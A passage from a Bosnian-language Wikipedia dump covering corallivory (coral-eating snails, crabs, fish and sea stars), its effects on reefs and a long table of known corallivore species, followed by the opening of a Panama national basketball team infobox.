zvijezda, poznato je da velike skupine ''Drupella'' uništavaju velika područja korala,<ref name="Cole" /> te su navedene kao uzrok slučajeva značajnog smanjenja broja korala u zaljevu [[Prefektura Tojama|Toga]] u [[Japan]]u i na grebenu [[Ningaloo obala|Ningaloo]] u [[australija|Australiji]].<ref name="rotjan" /> [[File:Parrotfish scrape marks.jpg|thumb|left|x170px|Ožiljci od ugriza riba papagaja]] Većina koraljivora pokazuje sklonost prema jednoj ili nekoliko vrsta korala.<ref name="Cole" /> Međutim, poznato je da se obligatni koraljivor, ''[[Coralliophila abbreviata]]'', hrani sa 26 različitih vrsta i ne pokazuje izrazitu sklonost prema samo jednoj.<ref name="rotjan" /> ''C. abbreviata'' nema [[radula|radulu]] koja bi mu omogućila da struže koralno tkivo, pa korale razgrađuje [[probavni enzim|probavnim enzimima]].<ref name="brawley">{{cite journal|last1=Brawley|first1=Susan H.|author-link=Susan Brawley|last2=Adey|first2=Walter H.|title=''Coralliophila abbreviata'': a significant corallivore|journal=Bulletin of Marine Science|date=1982|volume=32|issue=2|pages=595–599}}</ref> Nisu svi koraljivori štetni za zdravlje korala. Pokazalo se da korali s populacijama rakova iz rodova ''[[Tetralia]]'' i ''[[Trapezia]]'', koji se hrane sluzi, imaju veće šanse za preživljavanje tokom bujanja popupacija morskih zvijezda.<ref name="rotjan" /> Poznato je da rakovi ''Trapezia'' imaju [[simbioza|simbiotski]] odnos sa svojim koralom-domaćinom zato što čiste sediment i detritus sa njihove površine.<ref name="rotjan" /> Neki organizmi primaju više od same hrane. Poznato je da [[Nudibranchia|gološkržnjak]] ''[[Phestilla sibogae]]'' ugrađuje [[zooksantela|zooksantele]], simbionte [[fitoplankton]]a prikupljene prilikom koraljivorije, u svoje [[ceras|cerate]].<ref name="rotjan" /> Nakon što se ugrade, zooksantele nastavljaju fotosintetizirati i pružati energiju gološkržnjaku.<ref name="rotjan" /> == Utjecaj na ekosistem == [[File:D. Rugosa, Feeding Aggregation, KohTao, Thailand, 30 Aug. 2010.jpg|thumb|right|x180px|Grupa puževa iz roda ''[[Drupella]]'' hrane se koralom iz roda ''[[Acropora]]'' na Tajlandu]] Koraljivorija često rezultira oštećenjem korala ili gubitkom koralne [[biomasa|biomase]], a ponekad direktno uzrokuje smrt korala.<ref name="Lenihan">{{cite journal|last1=Lenihan|first1=Hunter S.|last2=Holbrook|first2=Sally J.|last3=Schmitt|first3=Russell J.|last4=Brooks|first4=Andrew J.|date=2011|title=Influence of corallivory, competition, and habitat structure on coral community shifts|journal=Ecology|volume=92|issue=10|pages=1959–1971|doi=10.1890/11-0108.1|pmid=22073787 |bibcode=2011Ecol...92.1959L }}</ref> Korali preusmjeravaju energiju i resurse na popravak štete, za što se pokazalo da potiskuje dodatni rast.<ref name="rotjan" /><ref name="palacios">{{cite journal|last1=Palacios|first1=M.M.|last2=Muñoz|first2=C.G.|last3=Zapata|first3=F.A.|date=2013|title=Fish corallivory on a pocilloporid reef and experimental responses to predation|url=https://www.researchgate.net/publication/265595466|journal=Coral Reefs|volume=33|issue=3|pages=625–636|doi=10.1007/s00338-014-1173-y|s2cid=253816584 }}</ref><ref name="Cole" /><ref name="Cole2011" /> Sposobnost korala da se sam popravi djelimično se zasniva na veličini oštećenja; budući da se ne mogu zacijeliti sva oštećenja, ona koja su prekomjerna mogu rezultirati trajnim promjenama grebena.<ref name="rotjan" /> Pokazalo se da korali energetski daju prioritet popravku štete u odnosu na razmnožavanje, tako da koraljivorija može imati negativan učinak na [[koral|razmnožavanje korala]].<ref name="rotjan" /><ref name="palacios" /><ref name="Cole" /><ref name="Cole2011" /> Osim toga, istraživanja su pokazala da ispaša koraljivora može biti povezana sa smanjenom gustoćom zooksantela.<ref name="Cole" /> Naučnici vjeruju da pretjerani ribolov vrsta koje su [[predator]]i koraljivora, poput velikih riba koje se hrane drugim ribama, može rezultirati povećanjem brojnosti koraljivora. To povećanje njihove populacije može imati budući negativan utjecaj na zdravlje i gustoću korala.<ref name="Lenihan" /> Koraljivori mogu indirektno uzrokovati povećanje rasta konkurentnih organizama, poput algi i [[spužve|spužvi]].<ref name="rotjan" /> Osim toga, neki koraljivori su uključeni u širenje bolesti korala.<ref name="rotjan" /> Neka istraživanja su pokazala da koraljivori mogu imati utjecaj na kompetitivne sposobnosti koraljnih kolonija.<ref name="Cole" /> Koraljivorija nije uvijek štetna za koraljne grebene. Ako je vrsta korala koja se konzumira prostorno dominantna, ispaša može pomoći u kontroli rasta i promovirati veći diverzitet grebena.<ref name="Cole" /> Koraljivori su često osjetljivi na smanjenje zdravlja korala i veličine populacije, te su negativno pogođeni tokom perioda velikog gubitka korala.<ref name="Cole" /> Posebno je zabilježeno da obligatni koraljivori doživljavaju veliki pad populacije nakon slučajeva gubitka korala.<ref name="Cole" /> Istraživanja su pokazala da koraljivori pate tokom događaja [[izbjeljivanje korala|izbjeljivanja]], što ukazuje na to da izbijeljeni korali nisu podjednako nutritivni kao i zdravi korali.<ref name="Cole" /> Nedostaje naučno istraživanje nutritivne vrijednosti zdravih i izbijeljenih korala. Međutim, utvrđeno je da razlika u nutritivnoj vrijednosti nije povezana s koncentracijom zooksantela.<ref name="Cole" /> == Poznati koraljivori == Ovaj popis sadrži većinu poznatih koraljivora, budući da su istraživanja aktivno u toku. {| class="wikitable sortable" |- ! Koljeno ! Porodica ! Vrsta<ref name="Cole" /><ref name="rotjan" /> ! Ishrana <br /><small>(obligatni ili fakultativni)</small><ref name="Cole" /><ref name="rotjan" /> ! Preferirani plijen<ref name="rotjan" /> ! Regija<ref name="Cole" /><ref name="rotjan" /> ! Dokazi koraljivorije<ref name="Cole" /> <!--Annelida--> |- |'''Annelida''' |Amphinomidae |''[[Hermodice carunculata]]'' |Fakultativni |''Acropora, Millepora, Oculina, Porites'' |Karibi, istočni Atlantik, Sredozemno more | <!--Arthropoda--> |- |'''Arthropoda''' |Alpheidae |''Alpheus lottini'' |Fakultativni |''Pocillopora'' |Crveno more, istočni Tihi okean | |- |'''Arthropoda''' |Diogenidae |''Aniculus elegans'' |Fakultativni |''Pocillopora'' |Istočni Tihi okean | |- |'''Arthropoda''' |Diogenidae |''Calcinus obscurus'' | | |Istočni Tihi okean | |- |'''Arthropoda''' |Diogenidae |''Trizopagurus magnificus'' |Fakultativni |''Pocillopora'' |Istočni Tihi okean | |- |'''Arthropoda''' |Pyrgomatidae |''Hoekia monticulariae'' |Obligatni | |Indopacifik | |- |'''Arthropoda''' |Tetraliidae |''Tetralia glaberrima'' |Obligatni |''Acropora, Seriatopora'' |Crveno more, Indopacifik | |- |'''Arthropoda''' |Tetraliidae |''Tetralia cavimana'' |Obligatni |''Acropora'' |Crveno more, Indopacifik | |- |'''Arthropoda''' |Trapeziidae |''Trapezia cymodoce'' |Obligatni |''Pocillopora, Stylophora'' |Indopacifik, istočni Pacifik | |- |'''Arthropoda''' |Trapeziidae |''Trapezia ferruginea'' |Obligatni |''Pocillopora'' |Indopacifik, istočni Pacifik | <!--Chordata--> |- |'''Chordata''' |Balistidae |''[[Balistapus undulatus]]'' |Fakultativni |''Pavona, Pocillopora, Porites'' |Crveno more, Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Balistidae |''[[Balistoides viridescens]]'' |Fakultativni | |Crveno more, Indopacifik |Anegdotalni |- |'''Chordata''' |Balistidae |''[[Rhinecanthus aculeatus]]'' |Fakultativni | |Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Balistidae |''[[Melichthys niger]]'' |Fakultativni |''Colpolphyllia'' |Svi tropski okeani |Sadržaj crijeva |- |'''Chordata''' |Balistidae |''[[Pseudobalistes flavimarginatus]]'' |Fakultativni | |Crveno more, Indopacifik |Anegdotalni |- |'''Chordata''' |Balistidae |''[[Pseudobalistes naufragium]]'' |Fakultativni | |Istočni Tihi okean |Anegdotalni |- |'''Chordata''' |Balistidae |''[[Sufflamen fraenatum]]'' |Fakultativni |''Pocillopora, Porites, Pavona'' |Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Blennidae |''[[Ecsenius bicolor]]'' |Fakultativni | |Indopacifik |Zapažanja |- |'''Chordata''' |Blennidae |''[[Exallias brevis]]'' |Obligatni |''Acropora'' |Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon adiergastos]]'' |Fakultativni | |Zapadni Pacifik |Anegdotalni |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon andamanensis]]'' |Obligatni | |Istočni Indijski okean |Anegdotalni |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon argentatus]]'' |Fakultativni | |Zapadni Tihi okean |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon aureofasciatus]]'' |Obligatni | |Indopacifik |Zapažanja |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon auriga]]'' |Fakultativni | |Crveno more, Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon auripes]]'' |Fakultativni | |Zapadni Tihi okean |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon austriacus]]'' |Obligatni | |Crveno more |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon baronessa]]'' |Obligatni | |Istočni Tihi okean |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon bennetti]]'' |Obligatni | |Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''Chaetodon blackburnii'' |Fakultativni | |Indijski okean |Anegdotalni |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon capistratus]]'' |Fakultativni | |Karibi |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon citrinellus]]'' |Fakultativni | |Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon collare]]'' |Fakultativni | |Crveno more, Indijski okean |Anegdotalni |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon daedalma]]'' |Fakultativni | |Sjeverozapadni Tihi okean |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon decussatus]]'' |Fakultativni | |Indijski okean |Anegdotalni |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon ephippium]]'' |Fakultativni | |Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon falcula]]'' |Fakultativni | |Indijski okean |Zapažanja |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon fasciatus]]'' |Fakultativni | |Crveno more |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon flavirostris]]'' |Fakultativni | |Tihi okean |Anegdotalni |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon fremblii]]'' |Fakultativni | |Havaji |Anegdotalni |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon gardineri]]'' |Fakultativni | |Zapadni Indijski okean |Anegdotalni |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon guttatissimus]]'' |Fakultativni | |Indijski okean |Anegdotalni |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon interruptus]]'' |Fakultativni | |Indijski okean |Anegdotalni |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon kleinii]]'' |Fakultativni | |Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon larvatus]]'' |Obligatni | |Crveno more |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''Chaetodon leucopleura'' |Fakultativni | |Zapadni Indijski okean |Anegdotalni |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon lineolatus]]'' |Fakultativni | |Indopacifik |Anegdotalni |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon lunula]]'' |Fakultativni | |Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon lunulatus]]'' |Obligatni | |Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon melannotus]]'' |Obligatni | |Crveno more, Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon melapterus]]'' |Obligatni | |Crveno more |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon mertensii]]'' |Fakultativni | |Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''Chaetodon mesoleucos'' |Fakultativni | |Crveno more |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon meyeri]]'' |Obligatni | |Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon multicinctus]]'' |Obligatni | |Havaji |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''Chaetodon nigropunctatus'' |Fakultativni | |Crveno more |Anegdotalni |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon nippon]]'' |Fakultativni | |Tihi okean |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon ocellatus]]'' |Fakultativni | |Karibi |Anegdotalni |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon ocellicaudus]]'' |Obligatni | |Zapadni Tihi okean |Anegdotalni |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon octofasciatus]]'' |Obligatni | |Indopacifik |Anegdotalni |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon ornatissimus]]'' |Obligatni | |Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon oxycephalus]]'' |Fakultativni | |Indopacifik |Anegdotalni |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon paucifasciatus]]'' |Fakultativni | |Crveno more |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon pelewensis]]'' |Fakultativni | |Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon plebeius]]'' |Obligatni | |Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon punctatofasciatus]]'' |Obligatni | |Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon quadrimaculatus]]'' |Fakultativni | |Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''Chaetodon rafflesi'' |Fakultativni | |Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon rainfordi]]'' |Obligatni | |Zapadni Tihi okean |Zapažanja |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon reticulatus]]'' |Obligatni | |Tihi okean |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon semilarvatus]]'' |Obligatni | |Crveno more |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon speculum]]'' |Fakultativni | |Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon triangulum]]'' |Obligatni | |Indijski okean |Anegdotalni |- |'''Chordata''' |Chaetodontidae |''Chaetodon tricinctus'' |Fakultativni | |Ostrvo Lord Howe |Zapažanja |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon trichrous]]'' |Fakultativni | |Društvena ostrva |Zapažanja |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon trifascialis]]'' |Obligatni | |Crveno more, Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon trifasciatus]]'' |Obligatni | |Indijski okean |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''Chaetodon ulientensis'' |Fakultativni | |Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon unimaculatus]]'' |Obligatni | |Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon vagabundus]]'' |Fakultativni | |Crveno more, Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon xanthocephalus]]'' |Fakultativni | |Indijski okean |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Chaetodon xanthurus]]'' |Fakultativni | |Tihi okean |Anegdotalni |- |'''Chordata''' |Chaetodontidae |''Chaetodon zanzibariensis'' |Obligatni | |Zapadni Indijski okean |Zapažanja |- |'''Chordata''' |Chaetodontidae |''[[Forcipiger flavissimus]]'' |Fakultativni | |Crveno more, Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Heniochus acuminatus]]'' |Fakultativni | |Indopacifik |Anegdotalni |- |'''Chordata''' |Chaetodontidae |''[[Heniochus chrysostomus]]'' |Fakultativni | |Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Heniochus intermedius]]'' |Fakultativni | |Crveno more |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Heniochus singularius]]'' |Obligatni | |Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Chaetodontidae |''[[Heniochus varius]]'' |Fakultativni | |Tihi okean |Sadržaj crijeva |- |'''Chordata''' |Gobiidae |''[[Gobiodon citrinus]]'' |Obligatni |''Acropora'' |Crveno more, Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Gobiidae |''[[Gobiodon okinawae]]'' |Fakultativni | |Zapadni Tihi okean |Sadržaj crijeva |- |'''Chordata''' |Gobiidae |''Paragobidon echinocephalus'' |Fakultativni | |Indopacifik |Anegdotalni |- |'''Chordata''' |Labridae |''[[Diproctacanthus xanthurus]]'' |Obligatni | |Zapadni Tihi okean |Zapažanja |- |'''Chordata''' |Labridae |''[[Labrichthys unilineatus]]'' |Obligatni |''Acropora, Montipora'' |Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Labridae |''Labropsis alleni'' |Obligatni | |Zapadni Tihi okean |Zapažanja |- |'''Chordata''' |Labridae |''Labropsis australis'' |Obligatni | |Zapadni Tihi okean |Anegdotalni |- |'''Chordata''' |Labridae |''Labropsis manabei'' |Obligatni | |Indopacifik |Anegdotalni |- |'''Chordata''' |Labridae |''Labropsis micronesica'' |Fakultativni | |Zapadni Tihi okean |Anegdotalni |- |'''Chordata''' |Labridae |''Labropsis polynesica'' |Fakultativni | |Istočni Tihi okean |Anegdotalni |- |'''Chordata''' |Labridae |''Labropsis xanthonota'' |Obligatni | |Indopacifik |Anegdotalni |- |'''Chordata''' |Labridae |''[[Larabicus quadrilineatus]]'' |Obligatni | |Crveno more |Zapažanja |- |'''Chordata''' |Labridae |''Choerodon graphicus'' |Fakultativni | |Jugozapadni Tihi okean |Sadržaj crijeva |- |'''Chordata''' |Monacanthidae |''[[Aluterus scriptus]]'' |Fakultativni | |Svi tropski okeani |Sadržaj crijeva |- |'''Chordata''' |Monacanthidae |''[[Cantherhines dumerilii]]'' |Obligatni |''Acropora, Pocillopora, Montipora, Leptoria, Porites'' |Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Monacanthidae |''[[Cantherhines macrocerus]]'' |Fakultativni | |Karibi |Sadržaj crijeva |- |'''Chordata''' |Monacanthidae |''[[Cantherhines pullus]]'' |Fakultativni | |Karibi |Sadržaj crijeva |- |'''Chordata''' |Monacanthidae |''Cantherhines sandwichiensis'' |Fakultativni | |Istočni Tihi okean |Anegdotalni |- |'''Chordata''' |Monacanthidae |''Oxymonacanthus halli'' |Obligatni | |Crveno more |Anegdotalni |- |'''Chordata''' |Monacanthidae |''[[Oxymonacanthus longirostris]]'' |Obligatni |''Acropora'' |Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Monacanthidae |''[[Pervagor spilosoma]]'' |Fakultativni | |Havaji |Sadržaj crijeva |- |'''Chordata''' |Ostraciidae |''[[Ostracion cubicus]]'' |Fakultativni | |Crveno more, Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Ostraciidae |''Lactoria diaphana'' |Fakultativni | |Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Pomacanthidae |''Centropyge multispinus'' |Fakultativni | |Indopacifik |Anegdotalni |- |'''Chordata''' |Pomacanthidae |''[[Pomacanthus arcuatus]]'' |Fakultativni | |Karibi |Anegdotalni |- |'''Chordata''' |Pomacentridae |''Cheiloprion labiatus'' |Obligatni |Acropora |Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Pomacentridae |''[[Neoglyphidodon melas]]'' |Fakultativni | |Crveno more, Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Pomacentridae |''[[Microspathodon chrysurus]]'' |Fakultativni | |Karibi |Sadržaj crijeva |- |'''Chordata''' |Pomacentridae |''Plectroglyphidodon dickii'' |Fakultativni |Acropora, Pocillopora |Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Pomacentridae |''[[Plectroglyphidodon johnstonianus]]'' |Obligatni |Acropora |Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Pomacentridae |''[[Stegastes acapulcoensis]]'' |Fakultativni | |Istočni Tihi okean |Anegdotalni |- |'''Chordata''' |Pomacentridae |''[[Stegastes leucostictus]]'' |Fakultativni | |Karibi |Sadržaj crijeva |- |'''Chordata''' |Pomacentridae |''[[Stegastes variabilis]]'' |Fakultativni | |Karibi |Sadržaj crijeva |- |'''Chordata''' |Scaridae |''[[Bolbometopon muricatum]]'' |Fakultativni |''Acropora, Pocillopora, Porites, Montipora'' |Crveno more, Indopacifik |Zapažanja |- |'''Chordata''' |Scaridae |''[[Cetoscarus bicolor]]'' |Fakultativni |''Porites'' |Indopacifik |Zapažanja |- |'''Chordata''' |Scaridae |''[[Chlorurus microrhinos]]'' |Fakultativni | |Indopacifik |Zapažanja |- |'''Chordata''' |Scaridae |''[[Chlorurus strongylocephalus]]'' |Fakultativni |''Pavona, Pocillopora, Porites'' |Indijski okean |Zapažanja |- |'''Chordata''' |Scaridae |''[[Sparisoma aurofrenatum]]'' |Fakultativni |''Montastraea, Porites, Madracis'' |Karibi |Anegdotalni |- |'''Chordata''' |Scaridae |''[[Sparisoma viride]]'' |Fakultativni |''Porites, Montastraea'' |Karibi |Zapažanja |- |'''Chordata''' |Scaridae |''[[Scarus coelestinus]]'' |Fakultativni | |Karibi |Sadržaj crijeva |- |'''Chordata''' |Scaridae |''[[Scarus guacamaia]]'' |Fakultativni | |Karibi |Zapažanja |- |'''Chordata''' |Tetraodontidae |''[[Arothron hispidus]]'' |Fakultativni |''Pocillopora'' |Crveno more, Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Tetraodontidae |''[[Arothron meleagris]]'' |Obligatni |''Acropora, Pocillopora, Porites, Pavona, Psammocora, Montipora'' |Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Tetraodontidae |''[[Arothron nigropunctatus]]'' |Obligatni |''Acropora, Pavona, Pocillpora, Porites'' |Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Tetraodontidae |''[[Arothron reticularis]]'' |Fakultativni | |Indopacifik |Anegdotalni |- |'''Chordata''' |Tetraodontidae |''[[Arothron stellatus]]'' |Fakultativni | |Crveno more, Indopacifik |Anegdotalni |- |'''Chordata''' |Tetraodontidae |''[[Canthigaster amboinensis]]'' |Fakultativni | |Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Tetraodontidae |''[[Canthigaster margaritata]]'' |Fakultativni | |Crveno more, Indopacifik |Anegdotalni |- |'''Chordata''' |Tetraodontidae |''[[Canthigaster solandri]]'' |Fakultativni | |Indopacifik |Sadržaj crijeva |- |'''Chordata''' |Tetraodontidae |''Canthigaster valentine'' |Fakultativni |''Pavona, Pocillopora, Porites'' |Crveno more, Indopacifik |Zapažanja <!--Echinodermata--> |- |'''Echinodermata''' |Acanthasteridae |''[[Acanthaster planci]]'' |Fakultativni |''Acropora, Montipora, Pocillopora'' |Indopacifik, istočni Tihi okean | |- |'''Echinodermata''' |Cidaridae |''[[Eucidaris thouarsii]]'' |Fakultativni |''Pavona, Pocillopora'' |Istočni Tihi okean | |- |'''Echinodermata''' |Diadematidae |''[[Astropyga radiata]]'' |Fakultativni | |Istočni Indijski okean | |- |'''Echinodermata''' |Diadematidae |''[[Diadema antillarum]]'' |Fakultativni |''Acropora, Agaricia, Madracis, Montastraea, Porites'' |Karibi | |- |'''Echinodermata''' |Diadematidae |''[[Diadema setosum]]'' |Fakultativni | |Istočni Indijski okean | |- |'''Echinodermata''' |Diadematidae |''[[Echinothrix calamaris]]'' |Fakultativni | |Istočni Indijski okean | |- |'''Echinodermata''' |Echinasteridae |''Echinaster purpureus'' |Fakultativni |''Porites'' |Zapadni Indijski okean | |- |'''Echinodermata''' |Echinometridae |''[[Echinometra mathaei]]'' |Fakultativni | |Indopacifik, Karibi | |- |'''Echinodermata''' |Echinometridae |''[[Echinometra viridis]]'' |Fakultativni | |Karibi | |- |'''Echinodermata''' |Echinoneidae |''Echinoneus cyclostomus'' |Fakultativni | |Zapadni Indijski okean | |- |'''Echinodermata''' |Ophidiasteridae |''[[Linckia laevigata]]'' |Fakultativni |''Porites'' |Zapadni Indijski okean, Indopacifik | |- |'''Echinodermata''' |Ophidiasteridae |''Nardoa variolata'' |Fakultativni |''Porites'' |Zapadni Indijski okean | |- |'''Echinodermata''' |Ophidiasteridae |''Pharia pyramidata'' |Fakultativni |''Pocillopora'' |Istočni Tihi okean | |- |'''Echinodermata''' |Oreasteridae |''[[Culcita novaeguineae]]'' |Fakultativni |''Acropora, Pocillpora'' |Indopacifik | |- |'''Echinodermata''' |Oreasteridae |''[[Culcita schmideliana]]'' |Fakultativni |''Acropora, Galaxea, Goniastrea'' |Zapadni Indijski okean | |- |'''Echinodermata''' |Oreasteridae |''[[Nidorellia armata]]'' |Fakultativni |''Pavona'' |Istočni Tihi okean | |- |'''Echinodermata''' |Oreasteridae |''[[Pentaceraster cumingi]]'' |Fakultativni |''Psammocora'' |Istočni Tihi okean | |- |'''Echinodermata''' |Temnopleuridae |''Microcyphus rousseaui'' |Fakultativni | |Zapadni Indijski okean | |- |'''Echinodermata''' |Stomopneustidae |''[[Stomopneustes variolaris]]'' |Fakultativni | |Zapadni Indijski okean | |- |'''Echinodermata''' |Stomopneustidae |''Tripneustes gratillia'' |Fakultativni | |Zapadni Indijski okean | <!--Mollusca--> |- |'''Mollusca''' |Architectonicidae |''Psilaxis radiatus'' |Fakultativni |''Porites'' |Tihi okean | |- |'''Mollusca''' |Epitoniidae |''Epifungium ulu'' | |''Fungia'' |Tihi okean | |- |'''Mollusca''' |Muricidae |''Babelomurex hindsi'' | |''Pocillopora'' |Istočni Tihi okean | |- |'''Mollusca''' |Muricidae |''[[Coralliophila galea]]'' |Obligatni |''Ne pokazuju preferencu'' |Karibi | |- |'''Mollusca''' |Muricidae |''[[Coralliophila violacea]]'' | |''Porites'' |Indopacifik | |- |'''Mollusca''' |Muricidae |''[[Coralliophila caribaea]]'' | |''Acropora, Porites'' |Karibi | |- |'''Mollusca''' |Muricidae |''[[Coralliophila monodonta]]'' |Obligatni |''Montipora, Pocillopora, Porites, Seriatopora, Stylophora'' |Indopacifik, istočni Tihi okean | |- |'''Mollusca''' |Muricidae |''[[Drupella cornus]]'' |Obligatni |''Acropora, Montipora, Pocillopora, Porites, Seriatopora, Stylophora'' |Crveno more, Indopacifik | |- |'''Mollusca''' |Muricidae |''Drupella elata'' |Obligatni |''Acropora, Montipora, Pocillopora, Porites'' |Indopacifik | |- |'''Mollusca''' |Muricidae |''[[Drupella fragum]]'' |Obligatni |''Acropora, Montipora, Pocillopora, Porites, Seriatopora, Stylophora'' |Indopacifik | |- |'''Mollusca''' |Muricidae |''[[Drupella rugosa]]'' |Obligatni |''Acropora, Montipora, Pocillopora, Porites, Seriatopora, Stylophora'' |Indopacifik | |- |'''Mollusca''' |Muricidae |''[[Morula spinosa]]'' | | | | |- |'''Mollusca''' |Muricidae |''Muricopsis zeteki'' | |''Pocillopora'' |Istočni Tihi okean | |- |'''Mollusca''' |Ovulidae |''[[Jenneria pustulata]]'' |Obligatni |''Pocillopora, Porites, Siderastrea'' |Istočni Tihi okean | |- |'''Mollusca''' |Ovulidae |''[[Pedicularia decussata]]'' | |''Solenastrea'' |Karibi | |- |'''Mollusca''' |Trinchesiidae |''[[Phestilla sibogae]]'' |Obligatni |''Porites'' |Tihi okean | |- |'''Mollusca''' |Trinchesiidae |''[[Phestilla melanobrachia]]'' |Obligatni |''Turbinaria'' |Indopacifik | |- |'''Mollusca''' |Trinchesiidae |''[[Phestilla minor]]'' |Obligatni |''Porites'' |Karibi | |} == Povezano == {{div col}} * [[Scarinae|Ribe papagaji]] * [[Tetraodontidae|Napuhače]] * [[Chaetodontidae|Ribe leptiri]] * [[Balistidae|Kostorošci]] * [[Labridae|Usnjače]] * ''[[Acanthaster planci]]'' * ''[[Arothron meleagris]]'' * [[Architectonicidae]] * [[Epitoniidae]] * ''[[Pediculariidae]]'' * [[Muricidae]] * ''[[Drupella]]'' * ''[[Coralliophila]]'' {{div col end}} == Reference == {{Reflist|30em}} {{načini ishrane}} [[Kategorija:Načini ishrane]] ne2v4nkkdihgks1iohhh61btntfn8uh 0 4722346 42602550 42600982 2026-05-27T13:35:43Z Edgar Allan Poe 29250 /* Historija */ 42602550 wikitext text/x-wiki {{Infokutija košarkaška reprezentacija | država = Panama | država_skr = PAN | boja1 = DA121A | boja2 = FFFFFF | tip = <!-- ako je ženska ili reprezentacija u košarci u kolicima --> | logo = Fepaba_logo.png | fiba = {{rast}} 57. {{small|([[3. ožujka]] [[2026.]])}} | fibina_zona = Amerike | priključenje_fibi = [[1958.]] | nacionalni_savez = [[Federación Panameña de Baloncesto|FEPABA]] | prva_utakmica = | posljednja_utakmica = | najveća_pobjeda = | najveći_poraz = | trener = {{flagicon|ARG}} [[Gonzalo García (košarkaški trener)|Gonzalo García]] | nadimak = | medalje = | OI_učešće = 1 | OI_medalje = | SP_učešće = 4 | SP_medalje = | kontinentalno_takmičenje = [[FIBA AmeriCup]] | 